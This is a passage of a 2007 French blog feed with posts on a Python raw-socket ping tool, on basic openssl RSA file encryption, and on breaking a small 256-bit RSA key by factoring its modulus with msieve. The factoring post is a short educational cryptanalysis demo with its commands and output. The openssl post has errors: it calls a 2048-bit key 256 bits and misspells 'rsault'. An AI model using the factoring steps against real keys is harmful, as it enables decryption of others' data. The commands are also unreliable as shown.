projet : &lt;a href="http://directory.fsf.org/All_Packages_in_Directory/aping.html"&gt;http://directory.fsf.org/All_Packages_in_Directory/aping.html&lt;/a&gt; Le code source de Aping constitue un exemple (j'espère) assez bon de l'utilisation de la syntaxe objet de python ainsi que de l'usage dans ce même langage des RAW sockets..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-8751868552276340418?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/8751868552276340418/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=8751868552276340418&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8751868552276340418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/8751868552276340418'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/05/aping.html' title='Aping'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-2644784664512782722</id><published>2007-05-29T10:51:00.000+02:00</published><updated>2007-09-17T14:59:56.381+02:00</updated><title type='text'>RSA vs. factorisation</title><content type='html'>En voilà un combat sans merci, d'immenses clefs publiques contre de très efficaces algorithmes de factorisation!&lt;br /&gt;Cet article à pour objectif de fournir un exemple d'utilisation de la lib msieve pour factoriser de gros entiers, permettant alors de mener des attaques contre RSA.&lt;br /&gt;&lt;br /&gt;Tout d'abord la clef publique n et l'exposant de cryptage e:&lt;br /&gt;&lt;code&gt;openssl rsa -in rsa_pubkey -pubin -text -modulus&lt;/code&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:times new roman;"&gt;&lt;span style="font-style: italic;"&gt;Attention, pour le transmettre à msieve, vous devez le convertir de l'hexadecimal vers la base décimale.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;La factorisation m'a pris moins de 6 minutes sur un ordinateur récent:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;./msieve -v 88260953927468241474867846663425636168437996919670523974529485668694484885501&lt;br /&gt;&lt;br /&gt;prp39 factor: 292785807180363836183730601206614239829&lt;br /&gt;prp39 factor: 301452296398701966007535887834606933769&lt;br /&gt;elapsed time 00:05:55&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;L'algorithme utilisé ici est le "QS" il en existe d'autres extrêmement efficaces. Il pourrait être intéressant de distribuer la factorisation. &lt;a href="http://hatch-the-hitch.over-blog.com/article-6705687.html"&gt;Ici&lt;/a&gt; se trouve une source permettant de convertir une clef publique factorisée en une clef privée.&lt;br /&gt;Msieve, lui, est disponible ici: &lt;a href="http://www.boo.net/%7Ejasonp/qs.html"&gt;http://www.boo.net/~jasonp/qs.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-2644784664512782722?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/2644784664512782722/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=2644784664512782722&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2644784664512782722'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2644784664512782722'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/05/rsa-vs-factorization.html' title='RSA vs. factorisation'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-1475923286529517715</id><published>2007-05-28T12:54:00.000+02:00</published><updated>2007-09-21T23:48:29.383+02:00</updated><title type='text'>Cryptage RSA pour systèmes *nix</title><content type='html'>RSA est l'un des plus solides algorithmes actuels. Implémenté dans OpenSSH pour sécuriser l'envoi de données sur les réseaux, il peut aisément être utilisé pour crypter des fichiers.&lt;br /&gt;Quatres commandes suffisent pour celà:&lt;br /&gt;&lt;br /&gt;Une clef privée se génère via la commande suivante (pour une clefs de 256 bits):&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;openssl genrsa -out rsa_privkey 2048&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;De la même manière, on génèrera la clef publique associée:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;openssl rsa -in rsa_privkey -pubout -out rsa_pubkey&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Cryptage / décryptage d'un fichier:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;openssl rsautl -encrypt -pubin -inkey rsa_pubkey -in plain.txt -out&lt;br /&gt;    cipher.txt&lt;br /&gt;openssl rsault -decrypt -inkey rsa_privkey -in cipher.txt&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;  Maintenant si vous vous ennuyez en ce moment ou si votre ordinateur s'encroute voici pour vous occuper: J'ai entendu parler du challenge de factorisation de clefs RSA il y a quelques mois. Le challenge est ouvert &lt;a style="font-family: georgia;" href="http://www.rsa.com/rsalabs/node.asp?id=2093"&gt;ici&lt;/a&gt;&lt;span style="font-family:georgia;"&gt; Le plus petit modulo à n'avoir jamais été factorisé est long de 704 bits. Mais une clef inférieure à 640 bits ne peut être considérée comme sûre. Lors de mes tests, (voir dans un prochain article) il ne m'a fallu qu'une dizaine de minutes pour décrypter un fichier crypté par une clef de 256 bits!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-1475923286529517715?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/1475923286529517715/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=1475923286529517715&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1475923286529517715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1475923286529517715'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/05/using-rsa-under-nix-systems.html' title='Cryptage RSA pour systèmes *nix'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry></feed>
